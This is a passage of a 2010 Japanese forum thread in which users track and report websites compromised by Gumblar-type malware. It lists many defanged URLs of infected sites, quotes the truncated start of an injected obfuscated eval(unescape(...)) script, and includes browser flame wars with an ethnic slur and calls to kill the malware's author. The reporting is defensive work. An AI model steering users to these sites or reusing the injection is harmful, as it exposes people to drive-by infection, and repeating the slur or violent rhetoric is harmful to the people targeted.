aguseとgredでチェックしても、安全としか出ないのですが
誤検出なんでしょうか？
www●pacs●co.jp/pacs/hist_walk/walk_miyagi04/senwaka_saisyou_temp/
aguseとgredでチェックしても、安全としか出ないのですが
誤検出なんでしょうか？
522 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 13:55:31
>>521
どんなトロイ？
どんなトロイ？
523 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 15:38:56
http://www●pacs●co●jp/pacs/hist_walk/walk_miyagi04/senwaka_saisyou_temp/pacs_pr/qqpr●php?d=sponser/&i=10&a=R&c=RV&w=550&h=50
ここに仕込まれてる
<script language=JavaScript>eval(unescape('var%20codelock_bas～～
ここに仕込まれてる
<script language=JavaScript>eval(unescape('var%20codelock_bas～～
524 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:04:15
火狐ﾏﾝｽｪーーーーー(棒)
525 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:04:17
home●e-catv●ne●jp/jun/
526 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:12:21
>>525
どこにあるの？
どこにあるの？
527 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 16:59:13
dotetin●sakura●ne●jp/
blaugrana●sakura●ne●jp/
blaugrana●sakura●ne●jp/
528 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 17:49:52
529 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:08:49
mqpws428●sakura●ne●jp/index7●html
具体的には分かりませんが
らしき物が見受けられます
いかがでしょうか？
具体的には分かりませんが
らしき物が見受けられます
いかがでしょうか？
530 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:13:08
ここは鑑定スレじゃねぇよ
531 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 18:49:16
www●bestofunder●comが強烈でワロタww
532 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 19:11:35
アドビはなんでここまでやる気ないの
ソフトは穴だらけだわバージョン更新を餌にgetplusとか怪しげなもん植えつけようとするわ
ソフトは穴だらけだわバージョン更新を餌にgetplusとか怪しげなもん植えつけようとするわ
533 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 19:49:44
>>531
http://megalodon.jp/2010-0321-0041-21/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.bestofunder.com%2Findex.html
再感染で.htaccess改竄？
http://www.dan.co.uk/viewsource/index.php?url=http://www●bestofunder●com/
xxxx.ruに飛ばされるから怪しいけど
ここにリンクあるから川島って人が管理してるサイトらしい
http://0000181856.seesaa.net/archives/200811-1.html
http://megalodon.jp/2010-0321-0041-21/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww.bestofunder.com%2Findex.html
再感染で.htaccess改竄？
http://www.dan.co.uk/viewsource/index.php?url=http://www●bestofunder●com/
xxxx.ruに飛ばされるから怪しいけど
ここにリンクあるから川島って人が管理してるサイトらしい
http://0000181856.seesaa.net/archives/200811-1.html
534 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 20:49:34
535 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:45:09
536 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:50:21
>>535
お前のアンカーがヤバイ
お前のアンカーがヤバイ
537 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 21:54:48
539 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:06:12
馬鹿にしろ故意にしろ悪質
540 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:08:54
リンクからブラウザ起動しないように専ブラの設定変えとけば？
変なURLのやつはもちろん省くさ
> 使用していないものはアンインストール推奨です
>
> ■ Windows XPは可能ならば新しいOSに
> ■ Windows Update / Microsoft Updateを更新
> ・XP以下は念のためMicrosoft Updateに変更してアップデートする
> ■ Adobe Reader(Acrobat,Acrobat Reader)を更新 (使っていないならアンインストール)
> ttp://get.adobe.com/jp/reader/
> ・インストール後本体をアップデート
> ヘルプ → アップデートの有無をチェック
> ・Acrobat Javascriptをオフにする
> 編集 → 環境設定 → Javascript → 「Acrobat Javascriptを使用」のチェックを外す
> ■ Adobe Flash Playerを更新 (動画サイト見てるなら絶対入ってる。IE版、Firefox等の非IE版に注意！)
> ttp://get.adobe.com/jp/flashplayer/
> ttp://www.adobe.com/jp/shockwave/download/alternates/#fp
> ・Flash Playerのバージョン確認
> ttp://www.adobe.com/jp/software/flash/about/
> ttp://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
> ■ Adobe Shockwave Playerを更新 (最近は使わないはずなのでアンインストール)
> ttp://www.adobe.com/jp/shockwave/download/alternates/#sp
> ■ Java Runtime Environmentを更新 (Javascriptとは違うので注意)
> ttp://www.java.com/ja/
> ・Javaのバージョン確認
> ttp://www.java.com/ja/download/installed.jsp
> ■ QuickTimeを更新 (メールアドレスの入力は不要。使っていないならアンインストール)
> ttp://www.apple.com/jp/quicktime/download/
> ■ RealPlayerを更新 (使っていないならアンインストール)
> ttp://jp.real.com/?mode=basic
ここだけ重点にして
> 使用していないものはアンインストール推奨です
>
> ■ Windows XPは可能ならば新しいOSに
> ■ Windows Update / Microsoft Updateを更新
> ・XP以下は念のためMicrosoft Updateに変更してアップデートする
> ■ Adobe Reader(Acrobat,Acrobat Reader)を更新 (使っていないならアンインストール)
> ttp://get.adobe.com/jp/reader/
> ・インストール後本体をアップデート
> ヘルプ → アップデートの有無をチェック
> ・Acrobat Javascriptをオフにする
> 編集 → 環境設定 → Javascript → 「Acrobat Javascriptを使用」のチェックを外す
> ■ Adobe Flash Playerを更新 (動画サイト見てるなら絶対入ってる。IE版、Firefox等の非IE版に注意！)
> ttp://get.adobe.com/jp/flashplayer/
> ttp://www.adobe.com/jp/shockwave/download/alternates/#fp
> ・Flash Playerのバージョン確認
> ttp://www.adobe.com/jp/software/flash/about/
> ttp://www.adobe.com/jp/support/flashplayer/ts/documents/tn_15507.htm
> ■ Adobe Shockwave Playerを更新 (最近は使わないはずなのでアンインストール)
> ttp://www.adobe.com/jp/shockwave/download/alternates/#sp
> ■ Java Runtime Environmentを更新 (Javascriptとは違うので注意)
> ttp://www.java.com/ja/
> ・Javaのバージョン確認
> ttp://www.java.com/ja/download/installed.jsp
> ■ QuickTimeを更新 (メールアドレスの入力は不要。使っていないならアンインストール)
> ttp://www.apple.com/jp/quicktime/download/
> ■ RealPlayerを更新 (使っていないならアンインストール)
> ttp://jp.real.com/?mode=basic
ここだけ重点にして
542 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:16:14
QuickTimeやRealPlayer無しで思う存分動画見られるプレイヤーがあればなあ
543 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:17:10
544 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:19:42
>>541 お前の理解度なんかどうでもいい
545 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 22:34:47
スタートアップの製造元、コマンド、場所項目
タスマネプロセスの説明項目
このあたりに不明とか書いてたら怪しいと思っていいのかな
タスマネプロセスの説明項目
このあたりに不明とか書いてたら怪しいと思っていいのかな
546 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 23:01:02
547 ：名無しさん＠お腹いっぱい。：2010/06/06(日) 23:05:22
>>531,533
ちょっとまさぐってみたら
XXXXXXX●ru/skank/index●php?page=3d-anime-hentai-videos
３Ｄアニメ変態ビデヲｗｗｗｗｗ
※何が落ちてくるかは知らん
ちょっとまさぐってみたら
XXXXXXX●ru/skank/index●php?page=3d-anime-hentai-videos
３Ｄアニメ変態ビデヲｗｗｗｗｗ
※何が落ちてくるかは知らん
ちょっと追記
アクセスする毎に飛ばされる先が違う
thermalvisit●ru
awmmagazine●ru
visitthermal●ru
他にもあるかもしれん
アクセスする毎に飛ばされる先が違う
thermalvisit●ru
awmmagazine●ru
visitthermal●ru
他にもあるかもしれん
549 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 11:35:56
550 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 14:26:36
535はうっかりクリックしたらどうすんだよｗ
551 ：コテハン ◆8080adndqg ：2010/06/07(月) 14:34:05
【陥落サイトのURL悪用厳禁】
www●gal-love●com/
katusika●net/
d-pic●net/repo/ ←トップページ以外は相変わらず絶賛放置中
www●bbfactory●jp/
dental-mos●net/ap/14/4/
cre2cash●f01●jp/ ←<!--カス対応中ｗ-->
www●ad-jeaayf●com/links/
www12●plala●or●jp/atakashi/sk/
elyess●hotel-prony-elysees-paris●com/ao/5/3/index●html
www●gal-love●com/
katusika●net/
d-pic●net/repo/ ←トップページ以外は相変わらず絶賛放置中
www●bbfactory●jp/
dental-mos●net/ap/14/4/
cre2cash●f01●jp/ ←<!--カス対応中ｗ-->
www●ad-jeaayf●com/links/
www12●plala●or●jp/atakashi/sk/
elyess●hotel-prony-elysees-paris●com/ao/5/3/index●html
552 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 16:08:52
なんかめっちゃ増えてるんですけどorz
553 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:27:12
【悪用厳禁】
http://www●marucen●co●jp/
http://www●haisui●com/
http://webright●jp/
http://kayak-nature●vaxponys●com/
JRCERTに報告しました
>>551
JPCERTに報告しました
http://www●marucen●co●jp/
http://www●haisui●com/
http://webright●jp/
http://kayak-nature●vaxponys●com/
JRCERTに報告しました
>>551
JPCERTに報告しました
554 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:28:02
http削り忘れた…
555 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:32:09
報告してくれるだけで十分ありがたい
次からは気をつけてね
次からは気をつけてね
556 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:44:09
Flash Player、Adobe Reader/Acrobatに新たな脆弱性、既に悪用も
http://internet.watch.impress.co.jp/docs/news/20100607_372679.html
http://internet.watch.impress.co.jp/docs/news/20100607_372679.html
557 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:48:26
マジかよ
動画サイト見るのも命がけの時代か
動画サイト見るのも命がけの時代か
558 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 17:53:24
俺はずっと10.1RCを使ってたから
たまたま運良く被害をまぬがれていただけらしい
たまたま運良く被害をまぬがれていただけらしい
559 ：コテハン ◆8080adndqg ：2010/06/07(月) 18:09:37
>>553 乙です
過去に陥落履歴があった(ような気がする)vaxponys●comを掘ってみた･･･
【陥落サイトのURL悪用厳禁】
best-shoper●vaxponys●com/
dream-girls●vaxponys●com/
diet-mates●vaxponys●com/
rocken-house●vaxponys●com/
german-house●vaxponys●com/
rice-premium123●vaxponys●com/
wine-house●vaxponys●com/
premium-farmer●vaxponys●com/
dyson-good●vaxponys●com/
kayak-house●vaxponys●com/
event-mate●vaxponys●com/
natural-warm●vaxponys●com/
rooms-sayaka●vaxponys●com/
祝！＼(^o^)／全滅
※他にもあるかも･･･
過去に陥落履歴があった(ような気がする)vaxponys●comを掘ってみた･･･
【陥落サイトのURL悪用厳禁】
best-shoper●vaxponys●com/
dream-girls●vaxponys●com/
diet-mates●vaxponys●com/
rocken-house●vaxponys●com/
german-house●vaxponys●com/
rice-premium123●vaxponys●com/
wine-house●vaxponys●com/
premium-farmer●vaxponys●com/
dyson-good●vaxponys●com/
kayak-house●vaxponys●com/
event-mate●vaxponys●com/
natural-warm●vaxponys●com/
rooms-sayaka●vaxponys●com/
祝！＼(^o^)／全滅
※他にもあるかも･･･
560 ：コテハン ◆8080adndqg ：2010/06/07(月) 18:16:18
追記
■セーフ ブラウジング
vaxponys●com の診断ページ
www●google●com/safebrowsing/diagnostic?site=vaxponys●com/&hl=ja
>過去 90 日間に、このサイトの一部で不審な動きが 2 回報告されています。
>不正なソフトウェアは vaxponys●sakura●ne●jp/, supernewstuff●ru/ を含む 2 個のドメインでホストされています。
>vaxponys●sakura●ne●jp/
(;ﾟдﾟ)･･･
■セーフ ブラウジング
vaxponys●com の診断ページ
www●google●com/safebrowsing/diagnostic?site=vaxponys●com/&hl=ja
>過去 90 日間に、このサイトの一部で不審な動きが 2 回報告されています。
>不正なソフトウェアは vaxponys●sakura●ne●jp/, supernewstuff●ru/ を含む 2 個のドメインでホストされています。
>vaxponys●sakura●ne●jp/
(;ﾟдﾟ)･･･
561 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:25:13
新型ってないの？
ここで報告されているのは殆どavast!で検出できるし
ここで報告されているのは殆どavast!で検出できるし
562 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:36:58
>>535のアンカーは何で危険なんだ?
専ブラでカーソルを合わせるだけなら問題ないのでは?
専ブラでカーソルを合わせるだけなら問題ないのでは?
563 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 18:42:42
564 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:03:57 BE:1365451283-PLT(19650)
>>561
Katesリバースエンジニアリングされて中身暴露されたからじゃない？
Katesリバースエンジニアリングされて中身暴露されたからじゃない？
565 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:24:33
www.tu-han4.com/hatumo/
566 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 19:50:31
>>559
>>560
「vaxponys●sakura●ne●jp」をさくらに通報しました
>>561
取りこぼした検体を提出して検出率100％を目指すというのはどうか
>>565
>>368の時点でJRCERTに提出したんですけど、まだダメですか
もう一回通報しとこうかなあ…
>>560
「vaxponys●sakura●ne●jp」をさくらに通報しました
>>561
取りこぼした検体を提出して検出率100％を目指すというのはどうか
>>565
>>368の時点でJRCERTに提出したんですけど、まだダメですか
もう一回通報しとこうかなあ…
567 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:46:06
このスレの存在自体危険だよな
568 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:51:14
>>567
罠リンクを罠リンクと見抜ける人間でないと（2chを使う事は）難しい
罠リンクを罠リンクと見抜ける人間でないと（2chを使う事は）難しい
569 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 22:52:36
Silverlightってどうなの？
脆弱性報告されてたりする？
セキュリティ的にFlashよりいいのなら
ようつべも使えばいいのにと思うのだが
脆弱性報告されてたりする？
セキュリティ的にFlashよりいいのなら
ようつべも使えばいいのにと思うのだが
570 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:01:33
今はレジストリでしか感染確認出来ない？
571 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:26:52
572 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:28:45
>>570
最近出てるのは確認のしようがないらしい
駆除法もクリーンインストール（普通のウイルスやマルウェアならそこまで行きつかない最終手段）しかないって有様だしな
マスゴミや政府がザルなせいで被害は広がる一方
最近出てるのは確認のしようがないらしい
駆除法もクリーンインストール（普通のウイルスやマルウェアならそこまで行きつかない最終手段）しかないって有様だしな
マスゴミや政府がザルなせいで被害は広がる一方
573 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:52:52
574 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:55:15
確認のしようがないってことはavastでスキャンとかしてウイルスなしでも
感染してるかもしれないってことですか？
感染してるかもしれないってことですか？
575 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:57:51
576 ：名無しさん＠お腹いっぱい。：2010/06/07(月) 23:58:48
577 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:04:02
なんでこれだけ被害出てるのに、firefoxとかセキュリティーの低いブラウザ使い続けるのかわからん
IE8/9+Vista/7で保護モード使うか、ChromeのWindows版使うかすればいいのに
いまだにセキュリティー対策にIEからfirefoxにかえろとか大嘘おしえてGumblarとかに引っかかるユーザーを
量産してるアホはいますぐ腹を切るべし
IE8/9+Vista/7で保護モード使うか、ChromeのWindows版使うかすればいいのに
いまだにセキュリティー対策にIEからfirefoxにかえろとか大嘘おしえてGumblarとかに引っかかるユーザーを
量産してるアホはいますぐ腹を切るべし
578 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:05:56
XPなので保護モードありません＞＜
CPUがPenIIIなのでDEPもありません＞＜
CPUがPenIIIなのでDEPもありません＞＜
579 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:09:27
580 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:30:38
それよりもGumblar作ったやつをさっさと捕まえるなり殺害するなりしろよ
ここまでやっておいて死刑ですら生温いわ
ここまでやっておいて死刑ですら生温いわ
581 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:30:51
firefoxで感染なんかしたことないな
script切ってない本人の問題
IEでないと見れないどこかのキムチ国ブラウザなんかいらないからw
script切ってない本人の問題
IEでないと見れないどこかのキムチ国ブラウザなんかいらないからw
582 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:31:08
テキストウラウザ最強だな
583 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:32:22
Windows捨てればええねん
LinuxやMacOSへGO！
LinuxやMacOSへGO！
584 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:34:43
どのブラウザなら大丈夫なんてないだろ常識的に考えて
それよりしっかりパッチ当てるなりサードパーティ製品のアップデートしろ
それよりしっかりパッチ当てるなりサードパーティ製品のアップデートしろ
585 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:43:11
そういえばGumblarにたいしてHIPSは有効なのかね
ゼロディされたらこれが唯一の防御壁だろ
ゼロディされたらこれが唯一の防御壁だろ
586 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 00:50:44
HIPSは有効だろうね
ドライブバイダウンロードやおかしな通信を防げる
ただし、最初に感染した時に何されたかはわからないけど
ドライブバイダウンロードやおかしな通信を防げる
ただし、最初に感染した時に何されたかはわからないけど
587 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:15:20
FirefoxにSnortライクなアドオンのFirekeeperがお手軽か
url_content, headers_content, body_contentやurl_re, headers_re, body_reで
拒否許可やアラートのルール作れるらしいから
url_content, headers_content, body_contentやurl_re, headers_re, body_reで
拒否許可やアラートのルール作れるらしいから
588 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:28:23
最近のトレンドは、「やられても安心」っていう方向だからな
ところがfirefoxは設計が古臭く、やられにくいようにできるけど、やられたらダメっていうあいかわらずの旧タイプだな
IEやChromeは、やられても安心っていう方向に進化した
ところがfirefoxは設計が古臭く、やられにくいようにできるけど、やられたらダメっていうあいかわらずの旧タイプだな
IEやChromeは、やられても安心っていう方向に進化した
589 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 01:36:17
情報ダダ漏れのブラウザなんかいらない
590 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 03:08:26
ところが、実際にはFFが安全だったりするｗ
使ってれば判る事なんだが、アンチ糞は脳内だから知らないんだよ
使ってれば判る事なんだが、アンチ糞は脳内だから知らないんだよ
591 ：あんちたった ◆MOTO.0SDfQ ：2010/06/08(火) 03:13:30
592 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 05:32:40
593 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 05:55:30
OSが窓ならなw
ごめんスレ違い
595 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 06:46:28
まぁFFと書く >>590 みたいなのは火狐厨の中でも
特別に低能な情弱なんだけどね
特別に低能な情弱なんだけどね
596 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:02:10
>>590
FFって馬鹿じゃねーの
FFって馬鹿じゃねーの
597 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:10:42
保護モード下のIEやWindowsのChromeは、レンダリングは権限の低い別プロセスで行うから、
ブラウザがセキュリティーホールでやられたとしても、さらにOSのセキュリティーホールまで
やられない限り影響をうけない
もちろん、レンダリングと同じプロセスで動くプラグインにセキュリティーホールがあってやられたとしても同様
プロセスがやられたらおしまいな火狐とは違う
ブラウザがセキュリティーホールでやられたとしても、さらにOSのセキュリティーホールまで
やられない限り影響をうけない
もちろん、レンダリングと同じプロセスで動くプラグインにセキュリティーホールがあってやられたとしても同様
プロセスがやられたらおしまいな火狐とは違う
598 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 07:48:33
まあそういうのにこだわってる奴ほど引っかかるんだけどな…
599 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 08:24:14
あほか
普通に使ってればこだわり以前にFxだわ
悔し紛れに恥の上塗りかよ
普通に使ってればこだわり以前にFxだわ
悔し紛れに恥の上塗りかよ
600 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 08:25:19
FF君は引っかかりそうだなｗ
601 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 09:46:17
602 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 09:59:34
取扱注意
berkeleyhouse●co●jp
英会話の前にパソコンインストールしなおしたほうが良いね
berkeleyhouse●co●jp
英会話の前にパソコンインストールしなおしたほうが良いね
603 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 10:19:38
[adlib's Blog: 無料で始めるサイト改ざんチェックサービス「サイトミハル(SITEMIHARU)」を開始しました。]2010年2月8日月曜日
■有料版：2万円（税別）/月
http://blog.adlibjapan.jp/2010/02/sitemiharu.html
これ誤判定でしょ？
http://blog.sitemiharu.com/?p=10031
http://blog.sitemiharu.com/?p=10021
■有料版：2万円（税別）/月
http://blog.adlibjapan.jp/2010/02/sitemiharu.html
これ誤判定でしょ？
http://blog.sitemiharu.com/?p=10031
http://blog.sitemiharu.com/?p=10021
604 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 10:49:54
san●ron5●com/gbc
またデジロックかぁ
通報しても落ちないんだろうな
またデジロックかぁ
通報しても落ちないんだろうな
605 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 11:32:56
>>601
「～使ってる俺一番優秀、それ以外の奴はゴミ」って優越感に浸りたい奴の荒らし目的だから触る人がいる限りどうしようもないね
ここID出ないし、かといって初心者板にはガンブラー関連のスレないし
テンプレ偽造で踏ませるとか犯罪まがいも起こるしマジPC初心者には地獄
「～使ってる俺一番優秀、それ以外の奴はゴミ」って優越感に浸りたい奴の荒らし目的だから触る人がいる限りどうしようもないね
ここID出ないし、かといって初心者板にはガンブラー関連のスレないし
テンプレ偽造で踏ませるとか犯罪まがいも起こるしマジPC初心者には地獄
606 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:04:01
dear16●501●jp/deam13/
simple●703●jp/mens
simple●703●jp/mens
607 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:30:04
そういえばこれどうなったの？
IEのあらゆるバージョンにローカル・ファイルへの不正アクセスを許す脆弱性
「設計上の基本特性に関わる問題であるため修正は難しい」との見解を示す
http://www.computerworld.jp/topics/move/173909.html
IEのあらゆるバージョンにローカル・ファイルへの不正アクセスを許す脆弱性
「設計上の基本特性に関わる問題であるため修正は難しい」との見解を示す
http://www.computerworld.jp/topics/move/173909.html
608 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:31:22
「～使ってる俺一番優秀、それ以外の奴はゴミ」ってことは汚物Zでもわいたのか？
あれが居着くとアフォ発言が増えてスレが荒廃する。
あれが居着くとアフォ発言が増えてスレが荒廃する。
609 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 13:44:39
610 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 14:44:37
>>602
メル凸したらarenaが動いてくれた様です
まだ一部感染していますが、ウイルスの駆除が始まりました
>>606
aguseで引っ掛けると「Pegel.aa」を検出、Gred及びDr.Webでは問題なし
ソースも問題ないですし、.jsなども存在せず…
リダイレクト先がphpとかそういう理由で検出してるとか？
メル凸したらarenaが動いてくれた様です
まだ一部感染していますが、ウイルスの駆除が始まりました
>>606
aguseで引っ掛けると「Pegel.aa」を検出、Gred及びDr.Webでは問題なし
ソースも問題ないですし、.jsなども存在せず…
リダイレクト先がphpとかそういう理由で検出してるとか？
611 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 14:54:51
>>606は運営会社が対処したんだと思う
megalodon.jp/2010-0608-1449-01/www.dan.co.uk/viewsource/index.php?url=http://webcache.googleusercontent.com/search?q=cache:8xe8YaFjQrUJ:dear16●501●jp/deam13/
megalodon.jp/2010-0608-1449-01/www.dan.co.uk/viewsource/index.php?url=http://webcache.googleusercontent.com/search?q=cache:8xe8YaFjQrUJ:dear16●501●jp/deam13/
612 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 16:39:04
取扱注意
www●nsc-com●co●jp
www●nagatan●co●jp
同じサーバ上で同じように改ざんされてるとは…。
コンテンツ管理者が同じなのか？
www●nsc-com●co●jp
www●nagatan●co●jp
同じサーバ上で同じように改ざんされてるとは…。
コンテンツ管理者が同じなのか？
613 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 18:17:20
614 ：コテハン ◆8080adndqg ：2010/06/08(火) 18:26:24
【陥落サイトのURL悪用厳禁】
一件だけ投下･･
www●saiwai-estate●net ←なんか変ｗｗ
一件だけ投下･･
www●saiwai-estate●net ←なんか変ｗｗ
615 ：名無しさん＠お腹いっぱい。：2010/06/08(火) 19:56:05
616 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 00:05:42
617 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 01:36:02
＞メル凸したらarenaが動いてくれた様です
…と思ったら.jsひとつ修正して動きなしってどういうことなのorz
なんかダメっぽいのでJPCERTとIPAに通報しました
>>607
Secuniaを見る限りでは其処から進展してないっぽいです
Firefoxにも脆弱性が見つかってるみたいですし、どうしたものか
>>611
なるほど、そういうことでしたか
しかしaguseはここのところおかしな事続き
>>612
JPCERTに通報、反応待ち
>>614
メル凸済み、反応待ち
…と思ったら.jsひとつ修正して動きなしってどういうことなのorz
なんかダメっぽいのでJPCERTとIPAに通報しました
>>607
Secuniaを見る限りでは其処から進展してないっぽいです
Firefoxにも脆弱性が見つかってるみたいですし、どうしたものか
>>611
なるほど、そういうことでしたか
しかしaguseはここのところおかしな事続き
>>612
JPCERTに通報、反応待ち
>>614
メル凸済み、反応待ち
618 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 03:59:56
>>607
www.microsoft.com/technet/security/bulletin/ms10-035.mspx
www.microsoft.com/technet/security/bulletin/ms10-035.mspx
619 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 11:32:49
取扱注意
www●enzou●jp
www●enzou●jp
620 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 12:08:10
amyou●net/pet/ ←デジロック
www●ad-jeaayf●com/links/ ←デジロック
www●ad-jeaayf●com/links/ ←デジロック
621 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 13:12:28
www●ktm-ktm●com/tomoko/
622 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 13:19:38
dida●mbsrv●jp
623 ：コテハン ◆8080adndqg ：2010/06/09(水) 14:46:48
【陥落サイトのURL悪用厳禁】
www●ekinavi●sakura●ne●jp/diet/
www●kamituji1●com/
www●bbfactory●jp/ ←絶賛放置中(再掲載)
stromstein●fc2web●com/
www●ekinavi●sakura●ne●jp/diet/
www●kamituji1●com/
www●bbfactory●jp/ ←絶賛放置中(再掲載)
stromstein●fc2web●com/
624 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 14:55:10
取扱注意
yasubei●net
yasubei●net
625 ：コテハン ◆8080adndqg ：2010/06/09(水) 18:39:34
【陥落サイトのURL悪用厳禁】
seikon●nes3●com
www4●atpages●jp/kessan/
掘れば掘るほど出てくる･･orz
seikon●nes3●com
www4●atpages●jp/kessan/
掘れば掘るほど出てくる･･orz
626 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 19:54:16
山形蕎麦と炙りの焔蔵様
感染の告知は無しでしょうか・・・
グーグルで検索しているお客様は逃げていきますョ
感染の告知は無しでしょうか・・・
グーグルで検索しているお客様は逃げていきますョ
627 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 21:06:13
googleの対応は早くてありがたいな
まぁどんどんプログラムの亜種が出てるから「全部感知！」には至ってないけど……
まぁどんどんプログラムの亜種が出てるから「全部感知！」には至ってないけど……
628 ：名無しさん＠お腹いっぱい。：2010/06/09(水) 23:01:17
>>626
なぜ？
なぜ？
629 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 01:26:54
630 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 01:47:39
>>602がGREDの解析対象外になっとるｗｗｗ
631 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 04:22:43
って、あれ？
何を検索しても解析対象外になる…
何を検索しても解析対象外になる…
632 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 09:24:12
何が起こってるんだ？
633 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 10:44:03
elyess●hotel-prony-elysees-paris●com/ao/5/3/
634 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 11:18:44
>>602の英会話スクール
ひっそり修正ですかね
ひっそり修正ですかね
635 ：コテハン ◆8080adndqg ：2010/06/10(木) 18:15:47
【陥落サイトのURL悪用厳禁】
※8080じゃないやつ
www●alive-kanmoku●com/ansin●html
www●alive-kanmoku●com/bamen-310●html など･･･
www●acl-music●jp/ ←再掲載(改竄されすぎて絶賛崩壊中)
www●minatomo●jp/cart/CreProduct●php ←放置したまま逃げた？
iiji●biz/hirameki/
demchik●100free●com/3●html
※8080じゃないやつ
www●alive-kanmoku●com/ansin●html
www●alive-kanmoku●com/bamen-310●html など･･･
www●acl-music●jp/ ←再掲載(改竄されすぎて絶賛崩壊中)
www●minatomo●jp/cart/CreProduct●php ←放置したまま逃げた？
iiji●biz/hirameki/
demchik●100free●com/3●html
636 ：名無しさん＠お腹いっぱい。：2010/06/10(木) 19:12:06
あ、Gred直った
これでやっと凸先のチェックが出来る…さて頑張りますか
>>619-624
JPCERTに報告しました
「www●ekinavi●sakura●ne●jp/diet/」はnotfoundですか？
>>634
駆除が完了するまでに3回ほどメールで突っ込んでます
おかげさまでもう突っ込む気になれません
ところでさっきからPegel.bc仕込んだhtmlメールが何通も届いて…
